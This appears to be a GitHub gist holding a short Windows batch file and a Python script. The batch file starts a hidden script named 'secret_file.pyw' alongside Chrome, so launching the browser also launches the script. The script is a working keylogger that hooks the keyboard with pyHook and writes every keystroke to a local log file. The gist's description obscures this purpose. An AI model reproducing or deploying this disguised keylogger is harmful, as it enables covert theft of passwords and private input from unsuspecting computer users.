Skip to content

Instantly share code, notes, and snippets.

@rachitagrawal14
Last active February 17, 2018 13:38
Show Gist options
  • Save rachitagrawal14/8b582271b48cd5663689ace335dec6c6 to your computer and use it in GitHub Desktop.
Save rachitagrawal14/8b582271b48cd5663689ace335dec6c6 to your computer and use it in GitHub Desktop.
Batch file which opens the browser with changed path. Python file pumps the message and create a new file.
@echo off
start "" "G:\ethical using python\secret_file.pyw"
start "" "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"
import pyHook, pythoncom, sys, logging
file_log = 'C:\\Python27\\log.txt'
def OnKeyboardEvent (event) :
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment